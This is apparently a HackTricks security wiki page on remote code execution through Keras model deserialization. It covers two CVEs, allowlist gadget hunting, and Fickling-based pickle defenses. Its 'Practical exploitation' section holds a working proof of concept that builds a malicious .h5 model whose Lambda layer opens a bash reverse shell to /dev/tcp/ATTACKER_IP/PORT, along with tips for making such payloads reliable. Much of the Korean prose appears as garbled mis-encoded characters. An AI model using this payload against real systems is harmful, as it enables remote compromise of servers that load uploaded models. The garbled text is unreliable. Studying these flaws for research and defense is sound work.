Keras Model Deserialization RCE and Gadget Hunting

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

์ด ํŽ˜์ด์ง€๋Š” Keras model deserialization pipeline์— ๋Œ€ํ•œ ์‹ค์ „ ์ต์Šคํ”Œ๋กœ์ž‡ ๊ธฐ๋ฒ•์„ ์š”์•ฝํ•˜๊ณ , ๋„ค์ดํ‹ฐ๋ธŒ .keras ํฌ๋งท์˜ ๋‚ด๋ถ€ ๊ตฌ์กฐ์™€ ๊ณต๊ฒฉ ํ‘œ๋ฉด์„ ์„ค๋ช…ํ•˜๋ฉฐ, Model File Vulnerabilities (MFVs)์™€ post-fix gadgets๋ฅผ ์ฐพ๊ธฐ ์œ„ํ•œ ์—ฐ๊ตฌ์ž ํˆดํ‚ท์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

.keras model format internals

.a .keras file is a ZIP archive containing at least:

  • metadata.json โ€“ ์ผ๋ฐ˜ ์ •๋ณด (์˜ˆ: Keras ๋ฒ„์ „)
  • config.json โ€“ ๋ชจ๋ธ ์•„ํ‚คํ…์ฒ˜ (์ฃผ์š” ๊ณต๊ฒฉ ํ‘œ๋ฉด)
  • model.weights.h5 โ€“ HDF5 ํ˜•์‹์˜ ๊ฐ€์ค‘์น˜

config.json์€ ์žฌ๊ท€์  ์—ญ์ง๋ ฌํ™”๋ฅผ ์ฃผ๋„ํ•ฉ๋‹ˆ๋‹ค: Keras๊ฐ€ ๋ชจ๋“ˆ์„ importํ•˜๊ณ , ํด๋ž˜์Šค/ํ•จ์ˆ˜๋ฅผ ํ•ด์„ํ•˜๋ฉฐ, ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋”•์…”๋„ˆ๋ฆฌ๋กœ๋ถ€ํ„ฐ ๋ ˆ์ด์–ด/๊ฐ์ฒด๋ฅผ ์žฌ๊ตฌ์„ฑํ•ฉ๋‹ˆ๋‹ค.

Example snippet for a Dense layer object:

{
"module": "keras.layers",
"class_name": "Dense",
"config": {
"units": 64,
"activation": {
"module": "keras.activations",
"class_name": "relu"
},
"kernel_initializer": {
"module": "keras.initializers",
"class_name": "GlorotUniform"
}
}
}

์—ญ์ง๋ ฌํ™”๋Š” ๋‹ค์Œ์„ ์ˆ˜ํ–‰ํ•ฉ๋‹ˆ๋‹ค:

  • module/class_name ํ‚ค์—์„œ ๋ชจ๋“ˆ ์ž„ํฌํŠธ ๋ฐ ์‹ฌ๋ณผ ํ•ด์„
  • from_config(โ€ฆ) ๋˜๋Š” ์ƒ์„ฑ์ž ํ˜ธ์ถœ(๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” kwargs ์‚ฌ์šฉ)
  • ์ค‘์ฒฉ ๊ฐ์ฒด(activations, initializers, constraints ๋“ฑ)๋กœ์˜ ์žฌ๊ท€

์—ญ์‚ฌ์ ์œผ๋กœ, ์ด๊ฒƒ์€ config.json์„ ์กฐ์ž‘ํ•˜๋Š” ๊ณต๊ฒฉ์ž์—๊ฒŒ ์„ธ ๊ฐ€์ง€ ํ”„๋ฆฌ๋ฏธํ‹ฐ๋ธŒ๋ฅผ ๋…ธ์ถœํ–ˆ๋‹ค:

  • ์–ด๋–ค ๋ชจ๋“ˆ์ด ์ž„ํฌํŠธ๋˜๋Š”์ง€ ์ œ์–ด
  • ์–ด๋–ค ํด๋ž˜์Šค/ํ•จ์ˆ˜๊ฐ€ ํ•ด์„๋˜๋Š”์ง€ ์ œ์–ด
  • constructors/from_config์— ์ „๋‹ฌ๋˜๋Š” kwargs๋ฅผ ์ œ์–ด

CVE-2024-3660 โ€“ Lambda-layer bytecode RCE

๊ทผ๋ณธ ์›์ธ:

  • Lambda.from_config()๋Š” python_utils.func_load(โ€ฆ)๋ฅผ ์‚ฌ์šฉํ–ˆ๋Š”๋ฐ, ์ด๋Š” ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ๋ฐ”์ดํŠธ๋ฅผ base64๋กœ ๋””์ฝ”๋“œํ•˜๊ณ  marshal.loads()๋ฅผ ํ˜ธ์ถœํ•œ๋‹ค; Python์˜ unmarshalling์€ ์ฝ”๋“œ ์‹คํ–‰์ด ๊ฐ€๋Šฅํ•˜๋‹ค.

Exploit idea (simplified payload in config.json):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "exploit_lambda",
"function": {
"function_type": "lambda",
"bytecode_b64": "<attacker_base64_marshal_payload>"
}
}
}

Mitigation:

  • Keras enforces safe_mode=True by default. Serialized Python functions in Lambda are blocked unless a user explicitly opts out with safe_mode=False.

Notes:

  • ๋ ˆ๊ฑฐ์‹œ ํฌ๋งท(๊ตฌํ˜• HDF5 ์ €์žฅ) ๋˜๋Š” ์˜ค๋ž˜๋œ ์ฝ”๋“œ๋ฒ ์ด์Šค๋Š” ์ตœ์‹  ๊ฒ€์‚ฌ๋ฅผ ๊ฐ•์ œํ•˜์ง€ ์•Š์„ ์ˆ˜ ์žˆ์œผ๋ฏ€๋กœ โ€œdowngradeโ€ ์Šคํƒ€์ผ ๊ณต๊ฒฉ์ด ํ”ผํ•ด์ž๊ฐ€ ๊ตฌํ˜• ๋กœ๋”๋ฅผ ์‚ฌ์šฉํ•  ๋•Œ ์—ฌ์ „ํžˆ ์ ์šฉ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CVE-2025-1550 โ€“ Keras โ‰ค 3.8์—์„œ ์ž„์˜์˜ ๋ชจ๋“ˆ ์ž„ํฌํŠธ

Root cause:

  • _retrieve_class_or_fn๊ฐ€ config.json์œผ๋กœ๋ถ€ํ„ฐ ๊ณต๊ฒฉ์ž๊ฐ€ ์ œ์–ดํ•˜๋Š” ๋ชจ๋“ˆ ๋ฌธ์ž์—ด์„ ์‚ฌ์šฉํ•ด ์ œํ•œ ์—†๋Š” importlib.import_module()๋ฅผ ํ˜ธ์ถœํ–ˆ์Šต๋‹ˆ๋‹ค.
  • Impact: ์„ค์น˜๋œ ์–ด๋–ค ๋ชจ๋“ˆ์ด๋“  ์ž„์˜๋กœ ์ž„ํฌํŠธ ๊ฐ€๋Šฅ(๋˜๋Š” sys.path์— ๊ณต๊ฒฉ์ž๊ฐ€ ์‹ฌ์–ด๋†“์€ ๋ชจ๋“ˆ). ์ž„ํฌํŠธ ์‹œ ์ฝ”๋“œ๊ฐ€ ์‹คํ–‰๋˜๊ณ , ์ดํ›„ ๊ณต๊ฒฉ์ž kwargs๋กœ ๊ฐ์ฒด ์ƒ์„ฑ์ด ๋ฐœ์ƒํ•ฉ๋‹ˆ๋‹ค.

Exploit idea:

{
"module": "maliciouspkg",
"class_name": "Danger",
"config": {"arg": "val"}
}

๋ณด์•ˆ ๊ฐœ์„ ์‚ฌํ•ญ (Keras โ‰ฅ 3.9):

  • Module allowlist: ์ž„ํฌํŠธ๊ฐ€ ๊ณต์‹ ์ƒํƒœ๊ณ„ ๋ชจ๋“ˆ๋กœ ์ œํ•œ๋จ: keras, keras_hub, keras_cv, keras_nlp
  • Safe mode default: safe_mode=True์€ ์•ˆ์ „ํ•˜์ง€ ์•Š์€ Lambda ์ง๋ ฌํ™”-ํ•จ์ˆ˜ ๋กœ๋”ฉ์„ ์ฐจ๋‹จํ•จ
  • Basic type checking: ์—ญ์ง๋ ฌํ™”๋œ ๊ฐ์ฒด๋Š” ์˜ˆ์ƒ ํƒ€์ž…๊ณผ ์ผ์น˜ํ•ด์•ผ ํ•จ

Practical exploitation: TensorFlow-Keras HDF5 (.h5) Lambda RCE

๋งŽ์€ ํ”„๋กœ๋•์…˜ ์Šคํƒ์€ ์—ฌ์ „ํžˆ ๋ ˆ๊ฑฐ์‹œ TensorFlow-Keras HDF5 ๋ชจ๋ธ ํŒŒ์ผ(.h5)์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๊ฐ€ ์„œ๋ฒ„๊ฐ€ ๋‚˜์ค‘์— ๋กœ๋“œํ•˜๊ฑฐ๋‚˜ inference๋ฅผ ์‹คํ–‰ํ•  ๋ชจ๋ธ์„ ์—…๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, Lambda ๋ ˆ์ด์–ด๋Š” load/build/predict ์‹œ ์ž„์˜์˜ Python์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์—ญ์ง๋ ฌํ™”๋˜๊ฑฐ๋‚˜ ์‚ฌ์šฉ๋  ๋•Œ reverse shell์„ ์‹คํ–‰ํ•˜๋Š” ์•…์„ฑ .h5๋ฅผ ์ œ์ž‘ํ•˜๊ธฐ ์œ„ํ•œ ์ตœ์†Œ PoC:

import tensorflow as tf

def exploit(x):
import os
os.system("bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'")
return x

m = tf.keras.Sequential()
m.add(tf.keras.layers.Input(shape=(64,)))
m.add(tf.keras.layers.Lambda(exploit))
m.compile()
m.save("exploit.h5")  # legacy HDF5 container

Notes and reliability tips:

  • ํŠธ๋ฆฌ๊ฑฐ ํฌ์ธํŠธ: ์ฝ”๋“œ๊ฐ€ ์—ฌ๋Ÿฌ ๋ฒˆ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์Œ(์˜ˆ: during layer build/first call, model.load_model, and predict/fit). Make payloads idempotent.
  • ๋ฒ„์ „ ๊ณ ์ •: ์ง๋ ฌํ™” ๋ถˆ์ผ์น˜๋ฅผ ํ”ผํ•˜๋ ค๋ฉด ๋Œ€์ƒ์˜ TF/Keras/Python ๋ฒ„์ „๊ณผ ์ผ์น˜์‹œ์ผœ๋ผ. ์˜ˆ: ๋Œ€์ƒ์ด ๊ทธ๊ฒƒ์„ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด Python 3.8๊ณผ TensorFlow 2.13.1 ํ•˜์—์„œ ๋นŒ๋“œ ์•„ํ‹ฐํŒฉํŠธ๋ฅผ ์ƒ์„ฑํ•˜๋ผ.
  • ๋น ๋ฅธ ํ™˜๊ฒฝ ๋ณต์ œ:
FROM python:3.8-slim
RUN pip install tensorflow-cpu==2.13.1
  • ๊ฒ€์ฆ: os.system(โ€œping -c 1 YOUR_IPโ€) ๊ฐ™์€ ๋ฌดํ•ดํ•œ ํŽ˜์ด๋กœ๋“œ๋Š” ์‹คํ–‰ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋ฉ๋‹ˆ๋‹ค(์˜ˆ: tcpdump๋กœ ICMP๋ฅผ ๊ด€์ฐฐ). reverse shell๋กœ ์ „ํ™˜ํ•˜๊ธฐ ์ „์—.

allowlist ๋‚ด๋ถ€์˜ Post-fix gadget ํ‘œ๋ฉด

allowlisting ๋ฐ safe mode ์ƒํƒœ์—์„œ๋„ ํ—ˆ์šฉ๋œ Keras callables ์‚ฌ์ด์—๋Š” ๋„“์€ ํ‘œ๋ฉด์ด ๋‚จ์•„ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด, keras.utils.get_file์€ ์ž„์˜์˜ URL์„ ์‚ฌ์šฉ์ž๊ฐ€ ์„ ํƒํ•œ ์œ„์น˜๋กœ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Lambda๋ฅผ ํ†ตํ•ด ํ—ˆ์šฉ๋œ ํ•จ์ˆ˜๋ฅผ ์ฐธ์กฐํ•˜๋Š” gadget (not serialized Python bytecode):

{
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "dl",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {
"fname": "artifact.bin",
"origin": "https://example.com/artifact.bin",
"cache_dir": "/tmp/keras-cache"
}
}
}

์ค‘์š”ํ•œ ์ œํ•œ์‚ฌํ•ญ:

  • Lambda.call()๋Š” ๋Œ€์ƒ callable์„ ํ˜ธ์ถœํ•  ๋•Œ ์ž…๋ ฅ ํ…์„œ๋ฅผ ์ฒซ ๋ฒˆ์งธ ์œ„์น˜ ์ธ์ˆ˜๋กœ ์•ž์— ์ถ”๊ฐ€ํ•ฉ๋‹ˆ๋‹ค. ์„ ํƒ๋œ gadgets๋Š” ์ถ”๊ฐ€ ์œ„์น˜ ์ธ์ˆ˜(extra positional arg)๋ฅผ ํ—ˆ์šฉํ•˜๊ฑฐ๋‚˜ *args/**kwargs๋ฅผ ๋ฐ›์•„๋“ค์—ฌ์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ด ์ œ์•ฝ์€ ์–ด๋–ค ํ•จ์ˆ˜๋“ค์ด ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ์ง€๋ฅผ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

ML pickle import allowlisting for AI/ML models (Fickling)

๋งŽ์€ AI/ML ๋ชจ๋ธ ํฌ๋งท(PyTorch .pt/.pth/.ckpt, joblib/scikit-learn, ์˜ค๋ž˜๋œ TensorFlow ์•„ํ‹ฐํŒฉํŠธ ๋“ฑ)์€ Python pickle ๋ฐ์ดํ„ฐ๋ฅผ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ๋กœ๋“œ ์ค‘์— RCE ๋˜๋Š” ๋ชจ๋ธ ๊ต์ฒด๋ฅผ ๋‹ฌ์„ฑํ•˜๊ธฐ ์œ„ํ•ด pickle GLOBAL imports์™€ ๊ฐ์ฒด ์ƒ์„ฑ์ž๋ฅผ ์ผ์ƒ์ ์œผ๋กœ ์•…์šฉํ•ฉ๋‹ˆ๋‹ค. ๋ธ”๋ž™๋ฆฌ์ŠคํŠธ ๊ธฐ๋ฐ˜ ์Šค์บ๋„ˆ๋Š” ์ข…์ข… ์ƒˆ๋กญ๊ฑฐ๋‚˜ ๋ชฉ๋ก์— ์—†๋Š” ์œ„ํ—˜ํ•œ imports๋ฅผ ๋†“์นฉ๋‹ˆ๋‹ค.

์‹ค์šฉ์ ์ธ fail-closed ๋ฐฉ์–ด๋Š” Python์˜ pickle deserializer๋ฅผ ํ›…(hook)ํ•˜๊ณ  ์–ธํ”ฝํด๋ง ์ค‘์— ๊ฒ€ํ† ๋œ ๋ฌดํ•ดํ•œ ML ๊ด€๋ จ imports ์ง‘ํ•ฉ๋งŒ ํ—ˆ์šฉํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. Trail of Bitsโ€™ Fickling์€ ์ด ์ •์ฑ…์„ ๊ตฌํ˜„ํ•˜๋ฉฐ ์ˆ˜์ฒœ ๊ฐœ์˜ ๊ณต๊ฐœ Hugging Face pickles์—์„œ ๊ตฌ์ถ•๋œ ์„ ๋ณ„๋œ ML import allowlist๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค.

โ€œ์•ˆ์ „ํ•œโ€ imports์— ๋Œ€ํ•œ ๋ณด์•ˆ ๋ชจ๋ธ(์—ฐ๊ตฌ์™€ ์‹ค๋ฌด์—์„œ ์ถ”์ถœํ•œ ์ง๊ด€): pickle์—์„œ ์‚ฌ์šฉํ•˜๋Š” import๋œ ์‹ฌ๋ณผ์€ ๋™์‹œ์— ๋‹ค์Œ์„ ๋งŒ์กฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

  • ์ฝ”๋“œ๋ฅผ ์‹คํ–‰ํ•˜๊ฑฐ๋‚˜ ์‹คํ–‰์„ ์œ ๋ฐœํ•˜์ง€ ์•Š์•„์•ผ ํ•จ(์ปดํŒŒ์ผ๋œ/์†Œ์Šค ์ฝ”๋“œ ๊ฐ์ฒด, shelling out, hooks ๋“ฑ ์—†์Œ)
  • ์ž„์˜์˜ ์†์„ฑ์ด๋‚˜ ํ•ญ๋ชฉ์„ get/set ํ•˜์ง€ ์•Š์•„์•ผ ํ•จ
  • pickle VM์œผ๋กœ๋ถ€ํ„ฐ ๋‹ค๋ฅธ Python ๊ฐ์ฒด๋ฅผ import ํ•˜๊ฑฐ๋‚˜ ์ฐธ์กฐ๋ฅผ ์–ป์ง€ ์•Š์•„์•ผ ํ•จ
  • ๊ฐ„์ ‘์ ์œผ๋กœ๋ผ๋„ ๋ณด์กฐ deserializer(์˜ˆ: marshal, nested pickle)๋ฅผ ํŠธ๋ฆฌ๊ฑฐํ•˜์ง€ ์•Š์•„์•ผ ํ•จ

ํ”„๋กœ์„ธ์Šค ์‹œ์ž‘ ์‹œ ๊ฐ€๋Šฅํ•œ ํ•œ ์ผ์ฐ Fickling์˜ ๋ณดํ˜ธ๋ฅผ ํ™œ์„ฑํ™”ํ•˜์—ฌ ํ”„๋ ˆ์ž„์›Œํฌ(torch.load, joblib.load ๋“ฑ)๊ฐ€ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ชจ๋“  pickle ๋กœ๋“œ๊ฐ€ ๊ฒ€์‚ฌ๋˜๋„๋ก ํ•˜์„ธ์š”:

import fickling
# Sets global hooks on the stdlib pickle module
fickling.hook.activate_safe_ml_environment()

์šด์˜ ํŒ:

  • ํ•„์š”ํ•œ ๊ฒฝ์šฐ hooks๋ฅผ ์ผ์‹œ์ ์œผ๋กœ ๋น„ํ™œ์„ฑํ™”/์žฌํ™œ์„ฑํ™”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:
fickling.hook.deactivate_safe_ml_environment()
# ... load fully trusted files only ...
fickling.hook.activate_safe_ml_environment()
  • ์ด๋ฏธ known-good model์ด ์ฐจ๋‹จ๋œ ๊ฒฝ์šฐ, ์‹ฌ๋ณผ์„ ๊ฒ€ํ† ํ•œ ๋’ค ํ™˜๊ฒฝ์˜ allowlist๋ฅผ ํ™•์žฅํ•˜์„ธ์š”:
fickling.hook.activate_safe_ml_environment(also_allow=[
"package.subpackage.safe_symbol",
"another.safe.import",
])
  • Fickling์€ ๋” ์„ธ๋ฐ€ํ•œ ์ œ์–ด๋ฅผ ์›ํ•  ๊ฒฝ์šฐ ์ผ๋ฐ˜์ ์ธ ๋Ÿฐํƒ€์ž„ ๊ฐ€๋“œ๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค:

  • fickling.always_check_safety() โ€” ๋ชจ๋“  pickle.load()์— ๋Œ€ํ•œ ๊ฒ€์‚ฌ๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค

  • with fickling.check_safety(): โ€” ๋ฒ”์œ„ ๊ธฐ๋ฐ˜ ์ ์šฉ์„ ์œ„ํ•ด

  • fickling.load(path) / fickling.is_likely_safe(path) โ€” ์ผํšŒ์„ฑ ๊ฒ€์‚ฌ์šฉ

  • ๊ฐ€๋Šฅํ•˜๋ฉด non-pickle ๋ชจ๋ธ ํฌ๋งท(์˜ˆ: SafeTensors)์„ ์„ ํ˜ธํ•˜์„ธ์š”. ๋งŒ์•ฝ pickle์„ ๋ฐ›์•„๋“ค์—ฌ์•ผ ํ•œ๋‹ค๋ฉด, ๋„คํŠธ์›Œํฌ ์•„์›ƒ๋ฐ”์šด๋“œ(egress) ์—†์ด ์ตœ์†Œ ๊ถŒํ•œ์œผ๋กœ ๋กœ๋”๋ฅผ ์‹คํ–‰ํ•˜๊ณ  allowlist๋ฅผ ์ ์šฉํ•˜์„ธ์š”.

This allowlist-first ์ „๋žต์€ ํ˜ธํ™˜์„ฑ์„ ๋†’๊ฒŒ ์œ ์ง€ํ•˜๋ฉด์„œ ์ผ๋ฐ˜์ ์ธ ML pickle ์ต์Šคํ”Œ๋กœ์ž‡ ๊ฒฝ๋กœ๋ฅผ ํšจ๊ณผ์ ์œผ๋กœ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. ToB์˜ ๋ฒค์น˜๋งˆํฌ์—์„œ Fickling์€ ํ•ฉ์„ฑ ์•…์„ฑ ํŒŒ์ผ์˜ 100%๋ฅผ ํ”Œ๋ž˜๊ทธํ–ˆ์œผ๋ฉฐ, ์ƒ์œ„ Hugging Face ์ €์žฅ์†Œ์˜ ์ •์ƒ ํŒŒ์ผ ์ค‘ ์•ฝ 99%๋ฅผ ํ—ˆ์šฉํ–ˆ์Šต๋‹ˆ๋‹ค.

์—ฐ๊ตฌ์ž ํˆดํ‚ท

  1. ํ—ˆ์šฉ๋œ ๋ชจ๋“ˆ์—์„œ์˜ ์ฒด๊ณ„์ ์ธ gadget ๋ฐœ๊ฒฌ

keras, keras_nlp, keras_cv, keras_hub ์ „๋ฐ˜์—์„œ ํ›„๋ณด callables๋ฅผ ์—ด๊ฑฐํ•˜๊ณ  ํŒŒ์ผ/๋„คํŠธ์›Œํฌ/ํ”„๋กœ์„ธ์Šค/ํ™˜๊ฒฝ(env)์— ์˜ํ–ฅ์„ ์ฃผ๋Š” ์‚ฌ์ด๋“œ ์ดํŽ™ํŠธ๋ฅผ ๊ฐ€์ง„ ๊ฒƒ๋“ค์„ ์šฐ์„ ์ˆœ์œ„๋กœ ๋‘ก๋‹ˆ๋‹ค.

allowlisted Keras ๋ชจ๋“ˆ์—์„œ ์ž ์žฌ์ ์œผ๋กœ ์œ„ํ—˜ํ•œ callables ์—ด๊ฑฐ ```python import importlib, inspect, pkgutil

ALLOWLIST = [โ€œkerasโ€, โ€œkeras_nlpโ€, โ€œkeras_cvโ€, โ€œkeras_hubโ€]

seen = set()

def iter_modules(mod): if not hasattr(mod, โ€œpathโ€): return for m in pkgutil.walk_packages(mod.path, mod.name + โ€œ.โ€): yield m.name

candidates = [] for root in ALLOWLIST: try: r = importlib.import_module(root) except Exception: continue for name in iter_modules(r): if name in seen: continue seen.add(name) try: m = importlib.import_module(name) except Exception: continue for n, obj in inspect.getmembers(m): if inspect.isfunction(obj) or inspect.isclass(obj): sig = None try: sig = str(inspect.signature(obj)) except Exception: pass doc = (inspect.getdoc(obj) or โ€œโ€).lower() text = fโ€œ{name}.{n} {sig} :: {doc}โ€œ

Heuristics: look for I/O or network-ish hints

if any(x in doc for x in [โ€œdownloadโ€, โ€œfileโ€, โ€œpathโ€, โ€œopenโ€, โ€œurlโ€, โ€œhttpโ€, โ€œsocketโ€, โ€œenvโ€, โ€œprocessโ€, โ€œspawnโ€, โ€œexecโ€]): candidates.append(text)

print(โ€œ\nโ€.join(sorted(candidates)[:200]))

</details>

2) ์ง์ ‘ ์—ญ์ง๋ ฌํ™” ํ…Œ์ŠคํŠธ (.keras ์•„์นด์ด๋ธŒ ๋ถˆํ•„์š”)

์กฐ์ž‘๋œ dicts๋ฅผ Keras ์—ญ์ง๋ ฌํ™”๊ธฐ์— ์ง์ ‘ ๋„ฃ์–ด ํ—ˆ์šฉ๋˜๋Š” ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ํŒŒ์•…ํ•˜๊ณ  ๋ถ€์ž‘์šฉ์„ ๊ด€์ฐฐํ•œ๋‹ค.
```python
from keras import layers

cfg = {
"module": "keras.layers",
"class_name": "Lambda",
"config": {
"name": "probe",
"function": {"module": "keras.utils", "class_name": "get_file"},
"arguments": {"fname": "x", "origin": "https://example.com/x"}
}
}

layer = layers.deserialize(cfg, safe_mode=True)  # Observe behavior
  1. ๋ฒ„์ „ ๊ฐ„ ํ”„๋กœ๋น™ ๋ฐ ํฌ๋งท

Keras๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ๊ฐ€๋“œ๋ ˆ์ผ๊ณผ ํฌ๋งท์„ ๊ฐ€์ง„ ์—ฌ๋Ÿฌ ์ฝ”๋“œ๋ฒ ์ด์Šค/์‹œ๋Œ€์— ์กด์žฌํ•ฉ๋‹ˆ๋‹ค:

  • TensorFlow ๋‚ด์žฅ Keras: tensorflow/python/keras (๋ ˆ๊ฑฐ์‹œ, ์‚ญ์ œ ์˜ˆ์ •)
  • tf-keras: ๋ณ„๋„๋กœ ์œ ์ง€ ๊ด€๋ฆฌ๋จ
  • Multi-backend Keras 3 (official): ๋„ค์ดํ‹ฐ๋ธŒ .keras ๋„์ž…

์ฝ”๋“œ๋ฒ ์ด์Šค์™€ ํฌ๋งท(.keras vs legacy HDF5) ์ „๋ฐ˜์—์„œ ํ…Œ์ŠคํŠธ๋ฅผ ๋ฐ˜๋ณตํ•˜์—ฌ ํšŒ๊ท€๋‚˜ ๋ˆ„๋ฝ๋œ ๋ฐฉ์–ด๋ฅผ ์ฐพ์•„๋‚ด์„ธ์š”.

์ฐธ๊ณ ์ž๋ฃŒ

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ